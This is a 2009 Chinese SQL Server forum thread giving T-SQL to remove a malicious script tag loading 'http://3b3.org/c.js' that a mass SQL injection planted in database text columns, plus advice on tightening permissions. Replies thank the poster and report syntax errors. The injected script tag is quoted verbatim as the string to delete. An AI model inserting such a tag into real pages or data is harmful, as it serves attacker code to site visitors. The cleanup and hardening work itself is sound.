绝对原创:实战http://3b3.org/c.js恶意SQL注入

chnchnl 2009-03-26 11:29:28
加精
如何最快速度删除?
"<script src=http://3b3.org/c.js></script>"
---------------------------------------------------------------
进入SQL查询分析器
选择你的数据库
第一步:先sql表修改所有者为dbo
EXEC sp_MSforeachtable 'exec sp_changeobjectowner ''?'',''dbo'' '

第二步:统一删除字段被挂的js
declare @delStr nvarchar(500)
set @delStr='<script src=http://3b3.org/c.js></script>'

set nocount on

declare @tableName nvarchar(100),@columnName nvarchar(100),@tbID int,@iRow int,@iResult int
declare @sql nvarchar(500)

set @iResult=0
declare cur cursor for
select name,id from sysobjects where xtype='U'

open cur
fetch next from cur into @tableName,@tbID

while @@fetch_status=0
begin
declare cur1 cursor for
--xtype in (231,167,239,175,35) 为char,varchar,nchar,nvarchar,text类型
select name from syscolumns where xtype in (231,167,239,175,35) and id=@tbID
open cur1
fetch next from cur1 into @columnName
while @@fetch_status=0
begin
set @sql='update [' + @tableName + '] set ['+ @columnName +']= replace(['+@columnName+'],'''+@delStr+''','''') where ['+@columnName+'] like ''%'+@delStr+'%'''
exec sp_executesql @sql
set @iRow=@@rowcount
set @iResult=@iResult+@iRow
if @iRow>0
begin
print '表:'+@tableName+',列:'+@columnName+'被更新'+convert(varchar(10),@iRow)+'条记录;'
end
fetch next from cur1 into @columnName


end
close cur1
deallocate cur1

fetch next from cur into @tableName,@tbID
end
print '数据库共有'+convert(varchar(10),@iResult)+'条记录被更新!!!'

close cur
deallocate cur
set nocount off
---------------------------------------------------------------
彻底杜绝SQL注入

1.不要使用sa用户连接数据库
2、新建一个public权限数据库用户,并用这个用户访问数据库
3、[角色]去掉角色public对sysobjects与syscolumns对象的select访问权限
4、[用户]用户名称->右键-属性-权限-在sysobjects与syscolumns上面打“×”
5、通过以下代码检测(失败表示权限正确,如能显示出来则表明权限太高):
DECLARE @T varchar(255),
@C varchar(255)
DECLARE Table_Cursor CURSOR FOR
Select a.name,b.name from sysobjects a,syscolumns b
where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN print @c
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
---------------------------------------------------------------
让3b3.org c.js注入见鬼去吧!
...全文
6089 137 打赏 收藏 转发到动态 举报
写回复
用AI写文章
137 条回复
切换为时间正序
请发表友善的回复…
发表回复
  • 打赏
  • 举报
回复
不知道这个是java的 还是net的
南山明月 2010-12-28
  • 打赏
  • 举报
回复
收藏,以备不时之需! 谢谢楼主的无私,还给分!
joyhen 2010-12-18
  • 打赏
  • 举报
回复

楼主很强大,支持原创啊,
首先感谢分享,其次再接分
ufofind 2010-12-17
  • 打赏
  • 举报
回复
SQL 太差了看来要好好学习一下
robin41209 2010-12-16
  • 打赏
  • 举报
回复
我晕啊,我也中奖了还好有备份
goodgame365 2010-07-29
  • 打赏
  • 举报
回复
学习了!
bigrock 2010-04-12
  • 打赏
  • 举报
回复
收藏~ 谢谢分享
zardo 2010-01-15
  • 打赏
  • 举报
回复
收藏
t6786780 2010-01-15
  • 打赏
  • 举报
回复
收藏
lovezx1028 2010-01-14
  • 打赏
  • 举报
回复
p
walkingp 2009-12-30
  • 打赏
  • 举报
回复
[Quote=引用 3 楼 htl258 的回复:]
首先感谢分享,其次再接分.
[/Quote]
翅膀飞得不连贯。
skangming 2009-09-18
  • 打赏
  • 举报
回复
希望有用,顶
tkscascor 2009-09-17
  • 打赏
  • 举报
回复
kan kan mark
ilsas 2009-09-16
  • 打赏
  • 举报
回复
学习了。
xx_88 2009-09-04
  • 打赏
  • 举报
回复
谢谢楼主分享
wanglchen 2009-08-28
  • 打赏
  • 举报
回复
学习,收藏
doyouknowm 2009-08-28
  • 打赏
  • 举报
回复
mark
wbin999999999 2009-08-27
  • 打赏
  • 举报
回复
我用sql 2000执行
EXEC sp_MSforeachtable 'exec sp_changeobjectowner ' '? ' ', ' 'dbo ' ' '
提示出错,出错信息:
服务器: 消息 170,级别 15,状态 1,行 1
第 1 行: '? ' 附近有语法错误。

我再执行楼主的第二步骤,又提示出错,出错信息:
服务器: 消息 170,级别 15,状态 1,行 25
第 25 行: ' ' 附近有语法错误。

请问这些出错,怎么解决?
langzhiwang888 2009-08-27
  • 打赏
  • 举报
回复
实验了下,好像不好使啊
wfkbyni 2009-08-27
  • 打赏
  • 举报
回复
我还是看不懂的哇
加载更多回复(113)

27,579

社区成员

发帖
与我相关
我的任务
社区描述
MS-SQL Server 应用实例
社区管理员
  • 应用实例社区
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧